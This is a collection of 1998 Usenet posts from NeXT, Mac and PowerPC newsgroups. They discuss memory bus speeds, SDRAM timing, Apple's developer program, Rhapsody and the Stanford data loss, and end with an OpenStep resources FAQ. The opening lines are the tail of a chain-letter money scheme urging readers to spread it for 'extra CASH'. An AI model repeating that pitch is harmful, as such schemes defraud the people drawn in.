of everyone that sends you money and always keep an eye on the newsgroups
to make sure everyone is playing fairly. Remember, HONESTY IS THE BEST
POLICY.
You don't need to cheat the basic idea to make the money!!
GOOD LUCK to all and please play fairly and reap the huge rewards from
this, which is tons of extra CASH.
P.S. Another great way to get this out to people is to send it to your
friends, relatives, etc. in e-mail. Have fun! :)
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 11 Apr 1998 22:25:27 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6goqkn$929$1@joe.rice.edu>
References: <6gokok$s2e$4@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: Okay, so if you take 25% to be gospel for the timing margin that we need,
: 5ns -> 6.25ns -> 160 MHz. Complaining about the lack of 5ns SDRAM is a
: red herring, IMO.
Maybe the stated reason is incorrect, but nonetheless the timing contraints
are extremely tight for the PC-100 spec, and from what I can gather there
are going to be supply contraints and motherboard problems that may
result in a lack of interoperability between DRAM parts and motherboards.
It's like pricing will increase, making it unsuitable for the sub $1200
consumer market.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: help with OS and configuring
Date: 11 Apr 1998 22:29:40 GMT
Distribution: inet
Message-ID: <01bd6662$376a8d80$43f0bfa8@davidsul>
My pc has a jaton 3d iimage card, I selected generic trident for the
monitor, and now Openstep 4.2 only works in black and white, and when it
starts up it says "trident pci adapter not found". When the bios first
starts up it says trident 3d image 975.
Also, does a epson inkjet printer work with openstep?
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sun, 12 Apr 1998 01:03:41 +0200
Organization: Completely Disorganized
Message-ID: <1d7c4mw.1thrwi2f2mbnkN@rhrz-isdn3-p50.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104> <6gjgm5$bfj$1@news01.deltanet.com> <6glos8$oop$17@ironhorse.plsys.co.uk> <B154522B-157593@207.217.155.30> <j-jahnke-1104980444020001@192.168.1.3> <Er9A2E.BC8@ecf.toronto.edu>
David Pischke <pischke@ecf.toronto.edu> wrote:
> In article <j-jahnke-1104980444020001@192.168.1.3>,
> Jerome Jahnke <j-jahnke@uchicago.edu> wrote:
> >In article <B154522B-157593@207.217.155.30>, "Brad Hutchings"
> ><brad@hutchings-software.com> wrote:
> >> That statement IS NOT true. I know of one developer whose credit card was
> >> charged in December for new Associates membership. I'd be more than happy
> >> to put ADR reps in touch with that developer. Look, it's only $250, but if
> >> the "Apple response" to developers who don't like this move is "RTFP" or
> >> "deal with it" or "get a clue", then incorrect assertions like the above
> >> are going to be criticized.
> >> NOTE: I'm not accusing mmalc or Jordan J. Dea-Mattson of lying. I'm just
> >> saying that the statement quoted above is not true.
> >
> >I am one of those guys, my renewal date is "tada" 12/98.
>
>
> Guess when my renewal date is? March 31, 1999.
>
> They were accepting new enrolments less than a month before they made the
> changes.
Renewal Date for new membership (dd/mm/yy): 28/02/99
I'm not a long time member of the associate program. I just entered in
Jan 1997 to have access to OpenDoc dev tools after they had been no
longer publicly available (well, you know the rest of the story).
In early January I was wondering how my renewal would be handled. I
asked and was told by Apple's Euro Dev that I'd get a renewal form in
time. I did not. Only when I called them was the renewal handled.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: jason@jhste1.dyn.ml.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: cmsg cancel <slrn6isvlb.1kg.jason@jhste1.dyn.ml.org>
Control: cancel <slrn6isvlb.1kg.jason@jhste1.dyn.ml.org>
Date: 10 Apr 1998 20:20:27 GMT
Organization: MindSpring Enterprises
Message-ID: <6gluub$71e$1@camel15.mindspring.com>
Xcanpos: shelf.1/199804120201!0103404451
ignore
Article canceled by slrn 0.9.4.5
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 13:25:48 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981325480001@pm1-25.eecs.umich.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net>
In article <joe.ragosta-0804982109560001@elk62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>Anyone notice that people like Mr. brown here, who would apparently never
>go near a Mac from reading his posts, are the ones complaining while
>developers like mmalc are supporting the change?
I'm on a mailing list mainly populated by developers and I can assure you
that most of them are pretty upset (including some who have been pretty
defensive of Apple in the past), not so much on the substance as on the
message.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 13:32:12 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981332120001@pm1-25.eecs.umich.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <6ggqha$9fk$1@news01.deltanet.com> <6ghg4o$np$1@news.digifix.com>
In article <6ghg4o$np$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> If you're developing commercially, an investment of $42/month
>isn't that out of reach.
This is not the point. Apple makes changes that hurt some people and
claims they are an improvement. It doesn't matter if the pain level is
slight, or if people really could get along without the whole developer
program entirely (in my opinion most people probably could, 3rd party
tools have developed way beyond the state of the Mac in 1984, when Apple
_really_ had to help). The point is the spin Apple has put on this.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sat, 11 Apr 1998 14:03:30 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981403300001@pm1-25.eecs.umich.edu>
References: <6fbvpe$l63@newsb.netnews.att.com> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net> <tas-1004982223290001@user-38lcjsn.dialup.mindspring.com>
In article <tas-1004982223290001@user-38lcjsn.dialup.mindspring.com>,
tas@mindspring.noUCE.com (Timothy A. Seufert) wrote:
>The PowerPC 750 backside L2 is 2-way set associative, which they were able
>to do because the tag ram and controller are on the CPU die. (This makes
>cache design really simple -- you just tack a fast SRAM or two onto the
>cache bus, and make sure that the traces are real short.)
While we're on this subject here's a URL for slides of a talk I gave recently:
<http://www.eecs.umich.edu/~philipm/talks/rampage-cx-98/>
which looks at some trade-offs in hardware and software complexity in
designing memory systems.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sat, 11 Apr 1998 13:58:43 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981358440001@pm1-25.eecs.umich.edu>
References: <6fbvpe$l63@newsb.netnews.att.com> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net>
In article <6gh5mo$eku$1@flea.best.net>, dillon@best.net (Matt Dillon) wrote:
> Look how easily IBM ran out a 1GHz Power PC core in copper ? They
> probably didn't have to change the design at all.
They didn't. The 1GHz demo was a bare-bones CPU and it wasn't copper.
> potential bandwidth. The DRam core isn't the problem, it's the bus
> interface on the DRam chip that's the problem.
Not only that, the startup cost is uniformly high with any DRAM technology
I've looked at. Once you've started a contiguous access, you can go pretty
fast, but starting a new random access is where you lose most of your
time.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sat, 11 Apr 1998 14:01:12 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981401130001@pm1-25.eecs.umich.edu>
References: <6fbvpe$l63@newsb.netnews.att.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net> <352CD708.3359@together.net> <6gj8vs$8vv@newsb.netnews.att.com>
In article <6gj8vs$8vv@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Question : can these design improvements be incorporated into
>PowerPCs shipping in the near future, rather than wait for the
>GHz processor ? How much speed-up does the one-clock load-and-store
>promise ?
Probably none if the speed to DRAM can't be addressed. There are already
workloads where total run time can be computed as number of misses to DRAM
times miss penalty + small constant.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 11 Apr 1998 18:04:25 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6gobb9$qfd$1@joe.rice.edu>
References: <6go69q$8l1$3@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: Webmaster (scarsadm@scars.com) wrote:
: : Also of note: According to MacOSRumors (awhile ago) Apple's next generation
: : motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
: : that current plans - barring changes in the memory market - was to keep
: : 89Mhz as probably the upper end because treading much higher would require
: : memory near 5ns access for the motherboard and the was considered "too
: : costly" for the home computer market.
: 89 MHz is 11ns, and 100 MHz is 10ns. "Treading much higher would require
: memory near 5ns access for the motherboard" doesn't really make sense to
: me. Much higher? 166 MHz motherboard?
: : =tkk
Intel's specs for PC-100 SDRAM actually require the DRAM to run faster
than 100MHz, at 125MHz I believe.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 11 Apr 1998 13:08:04 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6gobmm$ete1@odie.mcleod.net>
References: <6gmmaa$ahc2@odie.mcleod.net> <B1549F82-1FAC5@206.165.43.102>
Lawson English wrote in message ...
>
>There's no reason why Rhapsody couldn't satisfy this need. Maybe it already
>does in DR2. I was pointing out that using DPS directly would likely not
>work here and that Rhapsody would need to use something along the lines of
>GX's strategy to make it work.
>
>You guys may not realize it, but the YB API doesn't use DPS calls for a lot
>of things that you apparently think that it does.
>
Great! So why have you been bitching for a year ? Haven't you just
conceded every refutation of your claims to date ? Will you finally stop
spouting drivel and learn a thing or two about Rhapsody before posting
baseless claims.
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sat, 11 Apr 1998 14:14:27 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-1104981414270001@pm1-25.eecs.umich.edu>
References: <B153A7CC-1082D@198.5.212.218>
In article <B153A7CC-1082D@198.5.212.218>, "Webmaster"
<scarsadm@scars.com> wrote:
>Can't answer the second part but according to BYTE's article (Apl 98) it
>states that the L1 cache of the Power3 arch can perform "2 loads or 1
>store" per cycle and "can load data speculatively". Also, "Four ports on
>the data cache can simultaneously 2 8-byte loads, 1 8-byte store and a
>128-byte cache-line update in aspecial reload buffer."
>But the caching make the Power3 special as the caches are 128way assoc as
>oppossed to the G3s 8way or the P][s 4way.
Pretty impressive if true -- is this in Byte as well? Any other
references? I only found a brief announcement so far.
>already settled in the labs of IBM I'm sure... Also though if it is a true
>multiG3 design then each "chip" will have it's own LSU, FAU etc.
I must say I find this design hard to believe as it implies a radically
different software model. Let's see what is actually shipped...
>Also of note: According to MacOSRumors (awhile ago) Apple's next generation
>motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
>that current plans - barring changes in the memory market - was to keep
>89Mhz as probably the upper end because treading much higher would require
>memory near 5ns access for the motherboard and the was considered "too
>costly" for the home computer market.
I read somewhere that a 10ns SDRAM is a reasonable fit to a 66MHz bus as
the 15ns cycle time of the bus is sufficient to latch the data, but you
might just be able to do it with 13ns. If you drive the SDRAM at its rated
speed the data isn't stable for long enough to be useful. If this scales,
a 6.6ns SDRAM would be needed for a 100MHz bus but maybe if you are being
conservative, 5ns would be a safer target. Another alternative would be to
go to Rambus. A low-end design with next year's Direct Rambus with a
single 16-bit channel could achieve the speed of a 128-bit 100MHz bus with
SDRAM, and could scale up in more expensive designs to multiple channels.
Direct Rambus also has the advantage that it can pipeline multiple
references, to some extent masking the 50ns startup time (similar to the
startup time for SDRAM) -- which could be good if you have a workload
which often has multiple independent RAM requests.
I am interested what else is in the pipeline (so as to speak) in the DRAM
world, something has to change soon otherwise all the CPU and cache
improvements will be wasted.
--
Philip Machanick Dept. of Computer Science, Univ. of Witwatersrand
on sabbatical until September 1998 at Dept EECS, University of Michigan
http://www.eecs.umich.edu/~philipm/ mailto:philipm@NO-SPAMeecs.umich.edu
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 21:04:41 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5vhsfono6.fsf@ai.mit.edu>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net> <6ggmbv$1kt$5@quasar.dimensional.com> <6gg7a3$nnc$1@ns3.vrx.net> <6gm801$hom$1@quasar.dimensional.com>
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> writes:
> In comp.os.linux.advocacy , article <6gg7a3$nnc$1@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
> > In <6ggmbv$1kt$5@quasar.dimensional.com> Kenneth R. Kinder claimed:
> >> I'll put money on that. $20 says that PPP will NOT be the primary dialup
> >> method in 2001.
>
> > Done. I'll even accept CDN if you lose, and pay US if you win.
>
> What's CDN?
Canadian dollars. Given the current exchange rate, Maury just gave
you 7:10 odds in your favor.
> I put a little thingie in my calandar with my email address... Email me if
> you change it in the next three years...
I would hope that you wouldn't need to be reminded of your own email
address :-)
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program -shareware
Date: Sat, 11 Apr 1998 22:05:15 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6gpb5t$hjo1@odie.mcleod.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggkg1$90k$1@news0-alterdial.uu.net> <SCOTT.98Apr8221520@slave.doubleu.com> <dcoshel-1104981530090001@323-a-43-57.ppp.mcleodusa.net>
As a person who hires hot shot programmers, I can attest that the comments
below is certainly true at my company.
Programmers can tend to be fanatical people. The most brilliant programmers
are people who can not rest until a good idea is realized. The best are the
ones who can tell a good idea from a bad one in advance. Most programmers I
know are passionately libertarian. This I believe comes from a strong
belief in a meritocracy. Computers don't judge programmers, and software is
still as much craft as science. If you write good software, you can
certainly be judged by it. The real evil of "pointy haired bosses" is that
they can not discern merit.
Competitive start up companies are frantic places that often demand long
work weeks and sometimes cause divorces and or nervous break downs. A
person must be an entreprenour and not risk averse. These two qualities are
not what most spouses are looking to find. On the other hand, the rewards
are high; it is not really all that risky, and potential spouces find are
large bank account very attractive.
With regard to the type of jobs new hires get, tallent quickly rises to the
top. The really hot programmers are easily identified after the fact. It
is very hard to determine talent in an interview. As a result, any kind of
prior work that can be evaluated is valuable. Grades just don't matter in
this profession. I have worked with college drop outs who command 6 figure
saleries and preside over small clustors of deciples who daily pay homage to
the guru.
By the way, musicians make the best programmers. I don't know why. I
always ask candidates if they play an instrument. The best programmers are
seldom the best managers. Managers must be very very knowledgable, stable,
and current to avoid growing pointy hairs. One bad programmer costs the
company low 6 figures. One bad manager can cost millions easily.
Dave Oshel wrote in message ...
>In article <SCOTT.98Apr8221520@slave.doubleu.com>, scott@doubleu.com
>(Scott Hess) wrote:
>[whack]
>
>> Given two new hires fresh out of college, one of which has a fair
>> covey of praised freeware, the other with good grades, which gets the
>> more important job?
>
>I've always wondered that. My one brief stint in the shrinkwrap software
>biz kind of revealed that the guys (gals note below) who already have jobs
>somewhere else get hired to do "important" stuff, while the new hires
>fresh outa college work in q.a. or in intern slots. Once in q.a., always
>in q.a. Interns have possibilities.
>
>Regardless of ability, the guys (the gals are guys too, in the sexless
>company way of looking at things) are all unmarried "coders" who work 80
>hours a week 7 days a week and who "shower" naked at 6:30 AM in the
>company toilet stalls with a huge bronze can of spray deodorant. The
>married unmarried coders soon regain company-preferred status when their
>divorces go through.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Sat, 11 Apr 1998 17:39:29 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1104981739300001@pm3a19.rmac.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <Josh.McKee-1004982152020001@pm3a12.rmac.net> <6goebb$i9s$1@usenet11.supernews.com>
In article <6goebb$i9s$1@usenet11.supernews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
> Actually, the article didn't even say that the servers were
> Windows machines. A number of platforms could have been
> serving those files. Windows users were affected because
> the clients for those servers ran Windows. If NT or Netware
> had been serving the files for the Mac clients and Stanford
> issued a press statement saying "Sorry, but our Mac users
> might have lost a lot of their data," would you be hooping
> and hollering about Mac problems?
True, the article didn't mention specifically what platform/OS the server
was running. But my money is on a Windows NT system (be it PC based or
Alpha). I say this for a number of reasons:
1. What OS is best suited for serving Windows clients than Windows NT?
2. Why didn't the Macintosh and unix systems have problems?
3. I've had similar experiences with Windows failing for no apparent
reason, almost exactly like they did.
None of these conclusively point to a Windows problem. But looking at
what was said, if I had to draw a conclusion, this is the one I reach.
> Problems happen on any platform, that's why you're supposed
> to make backups. Or do you think that critical Mac networks
> aren't backed up? If they're backed up the same way that
> they were in the Stanford episode, you'd have the exact
> same problem.
Problems seem to happen more frequently on the PC platform. My experience
is that often times reliablilty is sacrificed for features on the PC. And
I would hope that anything of value to anyone is backed up, regardless of
platform. But two servers failing along with the backups?
> The restore of the backups *did* work when needed. The problem
> was that the admins didn't backup everything that they were
> supposed to. In hindsight, in foresight, and in every kind of
> sight, the admins screwed up. Do you really think they would
> have admitted that they were at fault for a disaster this big
> if it wasn't the case?
That was not my understanding. According to the article, many years worth
of stuff was lost. How did this happen if the SA's didn't perform a
backup right before moving the systems? Are you saying all this "years
worth of stuff" was produced only between the time of the last backup and
their moving the servers? Or are we saying that they only had one set of
tapes that they'd been cycling through for the last few years, thus
overwriting the previous backups?
Josh
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 11 Apr 1998 22:15:58 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6gpbq0$hjo2@odie.mcleod.net>
References: <6gmmaa$ahc2@odie.mcleod.net> <B1550FCE-5B1ED@206.165.43.155>
I am supportive of any attempt to add value to Rhapsody. I am sure Apple is
aware of their market and the various cost/benefit realities. Lawson has
quoted WWDC session descriptions to suggest that Apple is including the
features that he must have. Great. Can we all shut up about this GX
nonsense now ? GX is dead, long live font technology.
I will be at WWDC in May, will you be there Lawson ?
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 12 Apr 1998 03:26:18 GMT
Organization: University of Maryland, College Park
Message-ID: <6gpc8q$7f9$1@hecate.umd.edu>
Anil Thomas Maliyekkel (maliyekk@rice.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : Okay, so if you take 25% to be gospel for the timing margin that we need,
: : 5ns -> 6.25ns -> 160 MHz. Complaining about the lack of 5ns SDRAM is a
: : red herring, IMO.
: Maybe the stated reason is incorrect, but nonetheless the timing contraints
: are extremely tight for the PC-100 spec, and from what I can gather there
: are going to be supply contraints and motherboard problems that may
: result in a lack of interoperability between DRAM parts and motherboards.
: It's like pricing will increase, making it unsuitable for the sub $1200
: consumer market.
I don't think that right now, a system with a 100+ MHz memory bus is
likely to be targeted toward the sub $1200 consumer market. In the Mac
world, as it is in the x86 world, higher performance stuff comes at a
premium, then they migrate to the lower priced systems. Heck, just look
at Apple's G3 systems, the only systems with 66 MHz memory busses, and
when it first came out, it's all exclusive to the $2K+ systems, but
as time goes on, Apple will introduce systems targeted toward the sub
$1200 market with G3's on 66 MHz busses. IMO, the suitability of PC-100
DIMMS for the sub $1200 consumer market is also irrelvent at this time.
If they can get it, it'll end up in the higher priced systems.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <25462891752418@digifix.com>
Date: 12 Apr 1998 03:50:19 GMT
Organization: Digital Fix Development
Message-ID: <5697892353623@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
